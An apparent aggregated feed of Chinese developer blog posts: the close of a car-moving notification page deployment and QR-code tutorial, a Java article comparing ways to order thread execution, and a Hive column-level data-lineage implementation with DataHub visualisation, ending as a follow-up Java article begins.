            <h1>通知车主挪车</h1>
            <p>如需通知车主,请点击以下按钮</p>
            <button class="notify-btn" onclick="notifyOwner()">通知车主挪车</button>
            <button class="call-btn" onclick="callOwner()">拨打车主电话</button>
        </div>
    
        <script src="./nuoche.js"></script>
    </body>
    </html>
    

    image-20250120093310609

部署项目

这里最好是有宝塔,宝塔会帮会你将LNMP环境部署好,可以很方便的部署项目,雨云服务器可选择自带宝塔面板的镜像,还是很人性化的

我这里先将宝塔部署的方式说一下,传统部署需要单独写一篇,毕竟要从部署环境开始😂

宝塔部署

  1. 进入宝塔面板,点击网站➡️HTML项目

    image-20250120093807316

  2. 添加项目,域名需要自己先去DNS添加记录,其他的默认即可

    image-20250120094233996

    域名的话一般是用二级域名,到购买域名的地方解析一个A记录即可,我是在cloudflare解析的,就在cloudflare添加一条A记录即可

    image-20250120094252343

  3. 点击根目录会自动跳转到项目目录,在这里删除默认的index.html

    image-20250120094537785

  4. 然后上传本地创建的index.html和nuoche.js

    image-20250120094618138

  5. 浏览器访问xxxx.huochairener-blog.cn,可能会出现乱码的情况,这是因为编码的问题

    image-20250120095206224

  6. 在宝塔文件夹双击打开文件,发现是GBK编码

    image-20250120095403663

  7. 点击编码,改为UTF-8

    image-20250120095433706

  8. 再次刷新页面即可,若还是不行,记得看看nuoche.js文件的编码,也要改为UTF-8

    image-20250120095450010

  9. 测试,点击通知车主挪车,显示通知已发送,微信可以接收到通知

    image-20250120095647043

    image-20250120095751397

制作二维码

网站有了,接下来只需要二维码指向这个网站即可,制作二维码推荐草料二维码生成器,免费的,用了挺久的了,记得大二疫情的时候就开始在家玩这个草料二维码🤣

  1. 点击美化

    image-20250120100347332

  2. 选择标签样式,我是使用的缙哥哥博客中分享的样式用Workers免服务器部署挪车二维码,可微信通知、拨打电话-缙哥哥,编号:B342

    image-20250120100852458

  3. 我自己做了些修改,记得编码内容改为自己的网址

    image-20250120101036311

  4. 下载这个二维码图片即可,随便找个打印店,打印+塑封就能做到这个效果了,10大洋吧应该,学校的话应该会便宜得多

    image-20250120101301451

by 仰望星空的打工人 at January 20, 2025 02:41 AM

juejin backend

解锁Java多线程:如何控制线程T1、T2、T3的执行顺序(一)?

要了解在多线程编程方面的理解和应用。讨论如何在Java中确保多个线程按顺序执行,常见的做法包括使用join()CountDownLatchSemaphore、单线程池、synchronizedCompletableFuture等。

关键知识点:

1. 多线程基础知识

希望了解是否熟悉Java中的多线程基本概念,包括:

  • 线程的创建和启动:是否了解如何通过继承Thread类或实现Runnable接口来创建线程,以及如何启动线程(使用start()方法)。
  • 线程的生命周期:是否清楚线程从创建到结束的生命周期以及各种状态,如新建、就绪、运行、阻塞和终止。

2. 同步机制的理解

需要展示对Java中各种同步机制和工具的理解,尤其是如何通过同步工具确保多线程程序中的顺序执行和线程安全。常见的同步工具包括:

  • join() :用来控制线程的顺序执行,确保一个线程完成后才执行下一个线程。
  • CountDownLatch:用来等待其他线程完成任务,常用于控制多个线程的执行顺序。
  • Semaphore:用于控制多个线程对共享资源的访问数量,特别适用于限制并发数的场景。
  • CyclicBarrier:用于协调多个线程之间的同步,直到所有线程都到达屏障点才继续执行。

3. 线程间通信

理解线程之间的通信机制,尤其是在多个线程需要协作时,如何通过协调来实现正确的执行顺序。Java中的常见线程间通信方法有:

  • wait()notify() :这两个方法可以用于线程间的通信,其中wait()让当前线程进入等待状态,直到其他线程调用notify()notifyAll()来唤醒它们。这种机制通常用于生产者-消费者问题等多线程协作场景。

4. 对Java并发包的熟悉程度

Java并发包(java.util.concurrent)提供了丰富的并发工具类,对这些工具有一定的掌握。例如:

  • ExecutorService:用于管理线程池,帮助简化多线程的创建和管理。
  • ReentrantLockReadWriteLock:高级的同步机制,比synchronized更灵活和高效,适用于复杂的并发场景。
  • CompletableFuture:Java 8引入的用于异步编程的工具类,可以帮助简化异步任务的执行和组合。

相关方法应用

1. join()方法

解释: join()方法是Thread类的一部分,它使得当前线程等待调用join()的线程执行完毕后再继续执行。也就是说,通过在一个线程上调用join(),你可以确保它完成后,才开始下一个线程。

场景一: 假设你正在开发一个任务调度系统,其中多个任务需要依次执行,不能同时开始。比如,任务A完成后才会启动任务B,任务B完成后才会启动任务C。

代码示例:

Thread t1 = new Thread(() -> System.out.println("任务T1"));
Thread t2 = new Thread(() -> System.out.println("任务T2"));
Thread t3 = new Thread(() -> System.out.println("任务T3"));

t1.start();
t1.join();  // 等待T1完成
t2.start();
t2.join();  // 等待T2完成
t3.start();
t3.join();  // 等待T3完成

应用场景: 这种方法适用于需要依次执行多个任务的场景,例如一个文件处理系统中,任务A完成后才可以进行任务B的处理。


场景二:想象一下你有一份报告需要生成,分三步:数据收集、数据处理、结果展示。每个步骤必须在前一步完成后才能开始。

代码示例

Thread t1 = new Thread(() -> {
    System.out.println("数据收集");
});

Thread t2 = new Thread(() -> {
    System.out.println("数据处理");
});

Thread t3 = new Thread(() -> {
    System.out.println("结果展示");
});

t1.start();
t1.join(); // 等待t1完成

t2.start();
t2.join(); // 等待t2完成

t3.start();
t3.join(); // 等待t3完成

在这个例子中,通过t1.join(),我们确保t1完成后才开始t2,依此类推。


2. CountDownLatch

解释: CountDownLatch是一个同步工具类,它使用一个计数器来控制线程的执行。当计数器的值为0时,等待的线程会被唤醒并继续执行。你可以通过await()方法让线程在某个特定时刻等待,直到计数器减到0。

场景一: 假设你正在开发一个并行下载系统,其中多个线程需要在下载完成后一起继续执行后续操作,但这些线程的执行顺序是必须按照某个特定顺序的。

代码示例:

CountDownLatch latch1 = new CountDownLatch(1);
CountDownLatch latch2 = new CountDownLatch(1);

Thread t1 = new Thread(() -> {
    System.out.println("任务T1");
    latch1.countDown();  // T1完成,减少计数器
});
Thread t2 = new Thread(() -> {
    try {
        latch1.await();  // 等待T1完成
        System.out.println("任务T2");
        latch2.countDown();  // T2完成,减少计数器
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});
Thread t3 = new Thread(() -> {
    try {
        latch2.await();  // 等待T2完成
        System.out.println("任务T3");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();
t3.start();

应用场景: 比如一个分布式系统,多个服务需要在启动时等其他服务完成初始化后才能继续进行。


场景二: 想象一个情况,多个运动员在同一场比赛中,他们只有在裁判宣布“开始”后才能出发。

代码示例

CountDownLatch latch = new CountDownLatch(1);

Thread t1 = new Thread(() -> {
    System.out.println("运动员1准备");
    latch.countDown(); // 裁判说“开始”
});

Thread t2 = new Thread(() -> {
    try {
        latch.await(); // 等待裁判宣布开始
        System.out.println("运动员2出发");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();

CountDownLatcht2等待,直到t1调用countDown(),确保t2t1完成后执行。


3. Semaphore

解释: Semaphore用于控制对共享资源的访问,使用一个计数器来管理许可,线程通过acquire()获取许可,通过release()释放许可。如果没有可用许可,线程会被阻塞,直到获得许可。

场景: 假设你有一个有限的资源池(比如连接池),最多只能同时有几个线程在执行某个任务。你希望线程按顺序执行并限制每次只能一个线程执行。

代码示例:

Semaphore semaphore1 = new Semaphore(0);
Semaphore semaphore2 = new Semaphore(0);

Thread t1 = new Thread(() -> {
    System.out.println("任务T1");
    semaphore1.release();  // 释放一个许可
});
Thread t2 = new Thread(() -> {
    try {
        semaphore1.acquire();  // 等待T1完成
        System.out.println("任务T2");
        semaphore2.release();  // 释放一个许可
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});
Thread t3 = new Thread(() -> {
    try {
        semaphore2.acquire();  // 等待T2完成
        System.out.println("任务T3");
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();
t3.start();

应用场景: 比如,生产者-消费者问题中的信号量机制,可以用来控制生产和消费的顺序。


场景二:想象一个办公室,只有一台打印机,员工需要按顺序排队打印文件。

代码示例

Semaphore semaphore = new Semaphore(1);

Thread t1 = new Thread(() -> {
    try {
        semaphore.acquire(); // 获取打印机
        System.out.println("员工1正在打印");
        semaphore.release(); // 打印完成,释放打印机
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

Thread t2 = new Thread(() -> {
    try {
        semaphore.acquire(); // 获取打印机
        System.out.println("员工2正在打印");
        semaphore.release(); // 打印完成,释放打印机
    } catch (InterruptedException e) {
        Thread.currentThread().interrupt();
    }
});

t1.start();
t2.start();

Semaphore确保一个线程在另一个释放资源后才能执行。


4. 单线程池(Executors.newSingleThreadExecutor()

解释: 单线程池会确保任务按提交顺序逐个执行,每次只允许一个线程执行任务,保证了任务的顺序性。 单线程池(Executors.newSingleThreadExecutor())可以确保提交的任务按提交顺序执行,但并不涉及线程之间的顺序控制。换句话说,它仅仅是保证提交到线程池的任务依次执行,但你仍然可以在任务之间控制顺序,当然前提是这些任务是通过线程池来执行的。

场景一: 在一些场景中,我们希望提交的多个任务按顺序执行,但不关心它们是否在同一线程中执行。单线程池正好适合这个需求。

代码示例:

ExecutorService executor = Executors.newSingleThreadExecutor();
executor.submit(() -> System.out.println("任务T1"));
executor.submit(() -> System.out.println("任务T2"));
executor.submit(() -> System.out.println("任务T3"));
executor.shutdown();

应用场景: 适用于需要顺序执行多个任务且不需要并发的场景。例如,一个日志处理系统,每次只能处理一个日志文件。


场景二:假设你在处理一批银行交易,每笔交易必须按到达顺序处理。

代码示例

ExecutorService executor = Executors.newSingleThreadExecutor();
executor.submit(() -> System.out.println("处理交易1"));
executor.submit(() -> System.out.println("处理交易2"));
executor.submit(() -> System.out.println("处理交易3"));
executor.shutdown();

单线程池会按提交顺序执行任务,确保任务顺序性。

  • Executors.newSingleThreadExecutor() 保证任务按提交顺序执行,但其并不涉及到线程内部控制顺序,因此不能用于严格保证 t1t2t3 执行的顺序。

5. synchronized

解释: synchronized关键字用于确保同一时刻只有一个线程可以执行某个方法或代码块,从而避免多线程并发执行时发生数据不一致问题。

场景: 如果多个线程在执行时共享数据,并且需要确保数据的一致性和线程安全,我们可以使用synchronized来同步访问代码块,确保同一时刻只有一个线程可以执行该代码。

代码示例:

class Task {
    synchronized void executeTask(String taskName) {
        System.out.println(taskName + " 执行");
    }
}

public class Main {
    public static void main(String[] args) {
        Task task = new Task();
        new Thread(() -> task.executeTask("T1")).start();
        new Thread(() -> task.executeTask("T2")).start();
        new Thread(() -> task.executeTask("T3")).start();
    }
}

应用场景: 适用于需要保证线程安全的共享资源访问场景,例如银行账户的余额更新。

  • 这里的 synchronized 确保了任务不被并发执行,但它并不控制执行顺序。每次只有一个线程可以执行 executeTask 方法,但 t1t2t3 的执行顺序是不确定的。

场景二::多个线程需要安全访问一个共享资源,比如存款。

代码示例

class BankAccount {
    private int balance = 100;

    synchronized void deposit(int amount) {
        balance += amount;
        System.out.println("余额:" + balance);
    }
}

BankAccount account = new BankAccount();

new Thread(() -> account.deposit(50)).start();
new Thread(() -> account.deposit(100)).start();

synchronized确保每次只有一个线程可以修改balance,防止数据不一致。


6. CompletableFuture

解释: CompletableFuture是Java 8引入的类,可以用于处理异步编程。它支持通过链式调用来确保任务按顺序执行。CompletableFuture 主要保证任务执行的顺序(即任务依赖关系),而不是线程的执行顺序。底层是通过线程池来调度线程,因此其保证的是任务的执行顺序,而不是线程的顺序。

场景: 如果你需要管理多个异步任务,并希望这些任务按顺序执行,可以使用CompletableFuture。它允许你链式地组合多个任务,并确保每个任务在前一个任务完成后执行。

代码示例:

CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
    System.out.println("任务T1");
});
future = future.thenRunAsync(() -> {
    System.out.println("任务T2");
});
future = future.thenRunAsync(() -> {
    System.out.println("任务T3");
});
future.join();

应用场景: 比如你需要执行多个异步任务,而这些任务之间有明确的执行顺序要求,CompletableFuture非常适合此类需求。

  • CompletableFuture 保证了任务的顺序执行(T1 -> T2 -> T3),但底层依然使用线程池调度线程,所以线程的顺序是不确定的。如果你需要严格控制线程的执行顺序,CompletableFuture 并不适合。

场景二::假设你有一个复杂的订单处理系统,需要一步步确认订单、处理付款、发货。

代码示例

CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
    System.out.println("确认订单");
});

future = future.thenRunAsync(() -> {
    System.out.println("处理付款");
});

future = future.thenRunAsync(() -> {
    System.out.println("发货");
});

future.join();

CompletableFuture通过链式调用,确保任务按顺序执行,并适用于异步任务。


保证任务顺序执行

  1. 单线程池:  只保证任务按提交顺序执行,但并不保证线程的顺序控制。
  2. synchronized  用于线程安全,而不是控制线程执行顺序。
  3. CompletableFuture  保证任务顺序执行,但底层通过线程池调度线程,无法保证线程顺序。

保证线程顺序控制

  1. join(): 保证线程按顺序执行(t1 -> t2 -> t3),因为调用 join() 会让当前线程阻塞,直到被调用的线程执行完成。
  2. CountDownLatch: 保证的是任务的完成顺序,不是线程的执行顺序。通过在任务之间设置依赖,线程在计数器归零后才能执行下一个任务。
  3. Semaphore: 不能直接保证线程按顺序执行,它更多的是通过限制并发数来控制线程的执行。如果你使用它来实现顺序执行,通常需要通过多个信号量相互依赖的方式来实现。

总结对比

方法顺序控制复杂度灵活性适用场景
join简单顺序执行任务
CountDownLatch多线程同步,等待一组线程完成
Semaphore精细控制线程执行顺序或并发数量
单线程池简单任务按顺序提交到线程池执行
synchronized确保线程安全,非顺序控制
CompletableFuture异步任务的依赖关系

其他方法

解锁Java多线程:如何控制线程T1、T2、T3的执行顺序(二)?

总结

这些方法各有适用的场景,选择合适的工具可以帮助我们更好地管理多线程的执行顺序。在实际开发中,确保线程按顺序执行的需求相对较少,但在某些特定场景下,这些技术依然非常有用。通过这些示例,你可以深入理解不同同步工具在不同应用场景下的优缺点,从而在实际编程中做出更合适的选择。

by 后端出路在何方 at January 20, 2025 02:40 AM

Hive数据血缘的实现及应用

一、引言

随着企业信息化和业务的发展,数据资产日益庞大,数据仓库构建越来越复杂,在数仓构建的过程中,常遇到数据溯源困难,数据模型修改导致业务分析困难等难题,此类问题主要是由于数据血缘分析不足造成的,只有强化血缘关系,才能帮助企业更好的发挥数据价值。

SQL血缘关系是数据仓库模型构建的核心依赖。通过对SQL语句进行梳理与解析,得到各个业务层表之间依赖关系和属性依赖关系,并进行可视化展示,形成数据表和属性血缘层次关系图,可以充分展示原始字段数据与数据模型的映射关系。拥有良好的SQL血缘关系系统,不仅有利于数据分析师对业务场景的梳理,还极大帮助对数仓分层的构建,同时对企业数据质量控制方面起到很好的朔源作用,对构造数据链路图,监控数据变化起到很好的辅助作用。

本文将主要介绍Hive数据血缘追踪技术以及如何对数据血缘进行可视化展示。

二、数据血缘介绍

2.1 数据血缘的定义

数据血缘,又称数据血统、数据起源、数据谱系,是指数据的全生命周期中,数据从产生、处理、加工、融合、流转到最终消亡,数据之间自然形成一种关系。其记录了数据产生的链路关系,这些关系与人类的血缘关系比较相似,所以被成为数据血缘关系。

2.2 数据血缘的特点

归属性:一般来说,特定的数据归属于特定的组织或者个人。

多源性:同一个数据可以有多个来源;一个数据也可以是多个数据经过加工生成的,而且这种加工过程可以是多个。

可追溯性:数据的血缘关系体现了数据的生命周期,体现了数据从产生到消亡的整个过程,具备可追溯性。

层次性:数据的血缘关系是有层次的。对数据进行分类、归纳、总结等描述信息又会形成新的数据,不同程度的描述信息形成了数据的层次。

2.3 大数据平台现状

在我们的大数据平台中,任务处理主要依赖于Hive、Spark和Doris等组件,其中Hive承担着大规模数据处理和批量计算的核心任务。目前对于Hive血缘的分析还停留在基于静态SQL人工识别并维护的层面,并未实现血缘数据自动化提取和动态更新。因此下文主要对Hive中数据血缘进行研究,并基于此实现血缘数据的提取、解析以及可视化的全链路流程。

三、Hive数据血缘

3.1 Hive数据血缘方案介绍

Hive作为离线数仓分析工具,自带了数据血缘分析的解决方案:

表级别:org.apache.hadoop.hive.ql.tools 下的LineageInfo类

列级别:org.apache.hadoop.hive.ql.hooks.LineageLogger类

3.2 Hive数据血缘实现原理

这一章节我将从HiveSQL的解析过程、Hook函数来介绍Hive是如何实现数据血缘的。

3.2.1 Hive的解析过程

Hive的解析过程包括词法分析、语法分析、语义分析、生成逻辑计划、优化和生成物理计划。具体展开如下:

  • Hive 根据 Antlr 定义的词法、语法规则完成词法、语法分析将 HQL 解析为 AST Tree 即抽象语法树;检查 AST 中的表名、列名和数据类型,确保所有引用的对象在 Hive 元数据中存在;
  • 深度遍历AST进行语义解析,将 AST 替换成 QueryBlock(QB),QB 可以理解为最小的语法单元,将 AST 每一个节点单独取出来并封装成一个个 QB,同时在这里替换元数据里的信息;
  • 遍历 Query Block,解析为操作树 OperatorTree,生成逻辑执行计划;
  • 创建逻辑执行计划优化器和物理执行计划优化器、处理视图、生成表的统计信息;
  • 逻辑优化器进行操作树变换,合并多余的 ReduceSinkOperator,减少 shuffle,即对应的列剪枝、分区剪枝以及 Join 顺序优化等操作。所有的优化操作都对应一个 Transform 对象,并被放置在 Optimizer 的一个 List 中;
  • 遍历 Operator Tree,将操作树转变为对应的 MapReduce 任务,生成物理执行计划;
  • 物理优化器进行 MapReduce 任务变换,针对最后生成 DAG 图进行优化,生成最终的执行计划。

image2024-11-20_17-51-20.png

3.2.2 Hook函数

Hook是一种在处理过程中拦截事件,消息或函数调用的机制。Hive hook是绑定到了Hive内部的工作机制,无需重新编译Hive。Hive hook提供了使用Hive扩展和集成外部功能的能力,相当于一个可以在查询处理的各个步骤中运行/注入代码的插件。根据钩子的类型,它可以在查询处理期间的不同点调用。

3.2.2.1 Hook函数类型

Pre-execution hook:在执行引擎执行查询之前,将调用Pre-execution hooks。需要在Hive的查询计划优化后才会调用。

Post-execution hook:在查询执行完成之后以及将结果返回给用户之前,将调用Post-execution hooks 。

Failure-execution hook:当查询执行失败时,将调用Failure-execution hooks 。

Pre-driver-run 和Post-driver-run hook:在Driver执行查询之前和之后分别调用。

Pre-semantic-analyzer 和 Post-semantic-analyzer hook:在Hive在查询字符串上运行语义分析器之前和之后分别调用。

image2024-11-20_19-50-33.png

3.2.2.2 Hook函数的应用

Hive源码中实现了一些Hook,具体有以下几个例子:

DriverTestHook:实现了HiveDriverRunHook的preDriverRun方法(对postDriverRun是空实现),用于打印输出的命令。

PreExecutePrinter和PostExecutePrinter:分别实现了pre execute和 post execute hook,它将参数打印到标准输出。

LineageLogger:是一个ExecuteWithHookContext,实现了post execute hook,它将查询的血缘信息记录到日志文件中。 LineageInfo包含有关query血统的所有信息。

3.3 生成血缘数据

这一章节我将介绍如何使用Hive提供的类生成血缘数据。

3.3.1 表血缘生成

表血缘数据基于LineageInfo实现,下面是LineageInfo的main方法:

public static void main(String[] args) throws IOException, ParseException,
    SemanticException {
 
  String query = args[0];
 
  LineageInfo lep = new LineageInfo();
 
  lep.getLineageInfo(query);
 
  for (String tab : lep.getInputTableList()) {
    System.out.println("InputTable=" + tab);
  }
 
  for (String tab : lep.getOutputTableList()) {
    System.out.println("OutputTable=" + tab);
  }
}

可以看出LineageInfo会根据输入的SQL查询,输出对应的上下游数据表。下面我们传入一个测试sql:

insert overwrite table vesync_warehouse.test_1 select * from t2 join t3

返回结果如下:

InputTable=t2
InputTable=t3
OutputTable=vesync_warehouse.test_1

3.3.2 列血缘生成

列血缘基于LineageLogger实现,前面提到LineageLogger实现了post execute hook,因此需要在SQL执行完成后才会将血缘数据写入到日志文件中。使用方法如下:

1.hive-site.xml文件中增加以下配置(此处为全局配置,也可在执行SQL时动态指定该配置)

<property>
    <name>hive.exec.post.hooks</name>
    <value>org.apache.hadoop.hive.ql.hooks.LineageLogger<value/>
</property>

2.后续SQL执行结束后,血缘数据JSON就会打印在终端上。生成的血缘JSON如下所示:

"version":"1,
"user":"appuser",
"timestamp":1695030974,
"duration":9777,
"jobIds":[],
"engine":"tez",
"database":"default",
"hash":"192462ad588d8bd7b0dfcaea1c462f51",
"queryText":"sql",
"edges":[ { "sources":[], "targets":[0], "expression":"'118694510'", "edgeType":"PROJECTION" }, { "sources":[17,18], "targets":[0,1], "expression":"((ods_track_event.event = 'ViewDevicePage') and (ods_track_event.partition_date = '2023-09-18')", "edgeType":"PREDICATE" }],
"vertices":[ { "id":0, "vertexType":"COLUMN", "vertexId":"vesync_warehouse.ods_track_event.distinct_id" }, { "id":1, "vertexType":"COLUMN", "vertexId":"vesync_warehouse.ods_track_event.time" } ]

参数说明

version:自定义版本号

user:当前用户

timestamp:时间戳

duration:当前系统时间与timestamp的差值

jobIds:任务列表

engine:计算引擎

database:当前数据库

hash:根据sql语句生成的md5哈希

queryText:SQL语句

vertices:顶点。代表参与DAG的节点元素。id从0开始自增,vertexType有COLUMN和TABLE两个值,vertexId为对应的列名或表名

edges:边。代表DAG的流向,由sources指向targets,edgeType有PROJECTION(投影)和PREDICATE(谓语)两种类型。PROJECTION对应的edge即为我们需要的血缘数据 ,PREDICATE为过滤逻辑

3.若需要保存血缘数据,则还需要在hive-log4j.properties文件下添加以下配置。默认会输出至hive的运行日志中。

log4j.logger.org.apache.hadoop.hive.ql.hooks.LineageLogger=INFO

四、数据血缘在大数据平台的实现和应用

4.1 背景

在我们的大数据平台中,代码托管和版本管理使用GitLab进行维护,所有的任务代码都存放在sqlManager模块的task目录下。由于业务需求的变化和数据处理流程的不断调整,团队每天都会向GitLab进行新的代码提交(push),并且这些提交可能包含新的任务逻辑或者对现有代码的修改。这些变化直接影响到数据处理流程。为了确保数据处理的准确性和可追溯性,我们需要及时感知到每次代码变更,自动更新相关的血缘数据。如果不能动态跟踪和更新这些变化,可能会导致血缘关系的失真,从而影响到数据质量管理、调试和故障排查。基于此,我们需要建立一种机制,能够监控GitLab的代码变动,自动化地更新数据血缘信息,以确保系统的稳定性和高效性。

4.2 数据血缘全链路的实现

改写LineageLogger类

上文提到LineageLogger生成的列级血缘数据中,数据列使用对应的ID来标识,可读性较差,不利于后续血缘解析。故对源码进行修改,将ID替换为对应的列名。

image2024-12-12_18-21-24.png

生成血缘数据到文件

上文中提到生成血缘数据需要执行SQL,为了不影响线上数据,以下操作均在测试环境中进行。

1.为了确保血缘信息与最新的SQL代码同步,首先需要定时从Git仓库中获取有变更的文件。通过以下命令我们可以筛选出前一天合并到dev分支的提交,并获取这些提交中有添加、修改或重命名操作的文件。

git log --since="${yesterday} 16:00:00" --until="${today} 15:59:59" --merges --pretty=format:"%h" --grep="into 'dev'" | xargs -I {} git diff --name-status {}^ {} | grep -E '^(A|M|R)' | awk '{if (substr($1,1,1) == "R") print $3; else print $2}'

2.鉴于每日变更文件数量可能较多,一次性执行耗时较长,因此分目标表提取变更文件中的SQL语句,写入临时SQL文件中。

3.指定hive.exec.post.hooks为改写后的血缘类com.etekcity.hive.hooks.CustomHook,执行以上临时SQL文件即可生成血缘数据到文件中。

4.血缘数据默认会生成在Hive日志中,不利于下游读取解析,故需要对hive-log4j.properties文件修改,实现血缘和日志的分离存储。以下配置会将血缘数据写入到hive默认日志目录下的hive-lineage.log文件中

appenders = console, DRFA, lineage
appender.lineage.type = File
appender.lineage.name = lineage
appender.lineage.fileName = ${sys:hive.log.dir}/hive-lineage.log
# Use %pid in the filePattern to append <process-id>@<host-name> to the filename if you want separate log files for different CLI session
appender.lineage.layout.type = PatternLayout
appender.lineage.layout.pattern = %d{ISO8601} %5p [%t] %c{2}: %m%n
# list of all loggers
loggers = NIOServerCnxn, ClientCnxnSocketNIO, DataNucleus, Datastore, JPOX, PerfLogger, AmazonAws, ApacheHttp,CustomHook
logger.CustomHook.name = com.etekcity.hive.hooks.CustomHook
logger.CustomHook.level = INFO
logger.CustomHook.additivity = false
logger.CustomHook.appenderRef.CustomHook.ref = lineage

血缘可视化

前面步骤中我们已经将血缘数据写入到hive-lineage.log,但仅有血缘数据无法清晰呈现数据表和数据列之间的关系,因此还需要对其解析,实现可视化。

血缘数据解析

以下方法用于从日志中提取出每个表和列的血缘关系,并将其存储在 column_result 和 table_result 字典中。

def analyze_lineage_data():
    column_result = {}  # 存储列级血缘关系
    table_result = {}   # 存储表级关系
     
    with open('/data/logs/hive/hive-lineage.log', 'r') as file:
        for line in file:
            json_data = json.loads(line.split(' hooks.CustomHook: ')[1])
            edges = json_data.get('edges', [])  # 获取 edges 信息
             
            for edge in edges:
                sources = edge.get('sources', [])
                targets = edge.get('targets', [])
                edge_type = edge.get('edgeType')
 
                for target in targets:
                    # 提取目标表名
                    target_table_name = '.'.join(target.split('.')[:-1])
                    if edge_type == 'PROJECTION':
                        pattern = re.compile(r'\w+\.\w+\.\w+')
                        if not pattern.match(target):
                            continue
                         
                        target_table_column_source_dict = column_result.get(target_table_name, {})
                         
                        source_column_set = target_table_column_source_dict.get(target, set())
                         
                        # 添加列血缘
                        for source in sources:
                            source_column_set.add(source)
                         
                        target_table_column_source_dict[target] = source_column_set
                        column_result[target_table_name] = target_table_column_source_dict
                     
                   
                    source_table_set = table_result.get(target_table_name, set())
                         
                    # 添加表血缘
                    for source in sources:
                        source_table_set.add('.'.join(source.split('.')[:-1]))
                       
                    table_result[target_table_name] = source_table_set
   
    return column_result, table_result
血缘数据推送

基于解析出的血缘关系,我们构建详细的列级血缘信息 (fine_grained_lineage_list) 和表级血缘信息 (upstream_tables_list ),并推送至DataHub,关键代码如下。详细可参考datahub官方文档给出的提交细粒度血缘的脚本:lineage_emitter_dataset_finegrained.py

def send_lineage_data():
    for target_table_name, lineage in column_result.items():
        upstream_tables_list = []
        source_table_set = table_result.get(target_table_name)
 
        for source_table_name in source_table_set:
            upstream_tables_list.append(Upstream(datasetUrn(source_table_name), type=DatasetLineageType.TRANSFORMED))
 
        # 列级血缘list
        fine_grained_lineage_list = []
 
        for target_column, source_column_set in lineage.items():
            # 上游list
            upstream_str_list = []
 
            # 下游list
            downstream_str_list = []
 
            target_column_split = target_column.split('.')
            downstream_field_name = target_column_split[-1]
            downstream_table_name = '.'.join(target_column_split[0:-1])
            downstream_str_list.append(fieldUrn(downstream_table_name, downstream_field_name))
 
            for source_column in source_column_set:
                source_column_split = source_column.split('.')
                upstream_field_name = source_column_split[-1]
                upstream_table_name = '.'.join(source_column_split[0:-1])
                upstream_str_list.append(fieldUrn(upstream_table_name, upstream_field_name))
 
            fine_grained_lineage = FineGrainedLineage(upstreamType=FineGrainedLineageUpstreamType.DATASET,
                                                     upstreams=upstream_str_list,
                                                     downstreamType=FineGrainedLineageDownstreamType.FIELD_SET,
                                                     downstreams=downstream_str_list)
            fine_grained_lineage_list.append(fine_grained_lineage)
 
        # upstreams为表血缘,fine_grained_lineages为列级血缘
        field_lineages = UpstreamLineage(upstreams=upstream_tables_list, fineGrainedLineages=fine_grained_lineage_list)
 
        lineage_mcp = MetadataChangeProposalWrapper(
            entityType="dataset",
            changeType=ChangeTypeClass.UPSERT,
            entityUrn=datasetUrn(target_table_name),
            aspect=field_lineages
        )
        # 调用datahub REST API推送血缘
        datahub_emitter = DatahubRestEmitter('localhost:8080')
        datahub_emitter.emit_mcp(lineage_mcp)
血缘数据可视化

数据推送至DataHub之后即可实现可视化,在此界面我们可以清楚的看到各个数据表以及字段之间的关系:

image2024-12-12_20-15-44.png

4.3 数据血缘的应用

1.影响分析,当我们对表结构做变更的时候,在事前需要感知这个变更的影响。处于血缘上游的负责人在修改对应的任务的时候,需要通过血缘来查看自己的下游,来判断这个修改的影响,针对修改兼容性或者链路重要性,来对应的做一些操作。在此前没有数据血缘的时候,仅能在模块代码中根据表名去搜索下游,有时会出现遗漏的情况,从而导致下游数据不完整或者不可用,现在通过数据血缘监控没有再发生过类似的线上问题。

2.归因分析,当数据表出现问题时,通过查询血缘的上游,逐级寻找到血缘上游改动的任务节点来排查出造成问题的根因。在定位到问题后,我们会去修复数据,在修复数据的时候,又可以通过血缘来查找表的依赖关系,对受影响的下游任务进行重跑。在数仓中维度表的用途非常广泛,如果维度表出现问题,在没有血缘的情况下,仅仅是梳理下游依赖便要耗费大量时间,在修复数据时也有可能遗漏。而基于可视化血缘可以帮助数据开发快速定位问题,高效修复数据,在提升效率的同时又确保数据的完整性和一致性。

3.数仓治理。数仓规范化治理包括清理数仓中分层不合理的引用,或者是数仓分层整体不规范,存在一些冗余的表。比如,两个表来自同一个上游表,但是它们在不同层级,这些冗余的表就需要被清理掉,而在没有血缘的情况下便很难发现该问题。

五、总结与展望

5.1 总结

本文首先介绍了数据血缘的定义和特点,随后详细探讨了Hive数据血缘的实现原理及其生成过程,分析了表血缘和列血缘的生成方式。接着讨论了数据血缘在大数据平台中的实现,涵盖了数据血缘全链路的实现过程,包括LineageLogger类的改写、血缘数据生成与推送、数据解析与可视化。最后,本文探讨了数据血缘在数据开发、数据安全等领域的应用,全面阐述了数据血缘在现代数据管理中的重要价值。

5.2 展望

1.Hive血缘数据生成需要基于SQL执行,实时性较差且较为耗费资源。为了弥补当前方法的局限,数据血缘生成可以从更底层的技术实现入手,通过对SQL进行词法分析和语法分析,结合元数据实现无需实际执行SQL,即可自动生成数据血缘信息。

2.目前我们仅实现了Hive 单数据源血缘全链路,但在Doris可以访问和分析来自多个异构数据源的数据,如何生成Doris的数据血缘,这部分待后续调研解决中。

3.DataHub在V0.12.0版本后提供了基于数据库查询日志的血缘生成方案,可通过SQL查询连接器,从查询日志中提取列级数据血缘和表使用情况统计,在SDK中也提供了parse_sql_lineage()方法,解析SQL获取血缘。后续考虑基于此来实现血缘的全链路流程。

4.除了可解析的 SQL ,日常还会涉及到代码类型的任务,如Flink 或者 Spark 的 JAR 任务。未来会对非侵入式的非 SQL 类型血缘采集的技术进行调研,从而在任务运行过程中拿到血缘数据。

by VeSync技术 at January 20, 2025 02:39 AM

解锁Java多线程:如何控制线程T1、T2、T3的执行顺序(二)?

除了之前提到的几种方法(如join()CountDownLatchSemaphore、单线程池、synchronizedCompletableFuture)之外,确实还有一些其他方法能够保证线程按顺序执行。下面是一些常见的替代方案:

解锁Java多线程:如何控制线程T1、T2、T3的执行顺序(一)?

1. CyclicBarrier

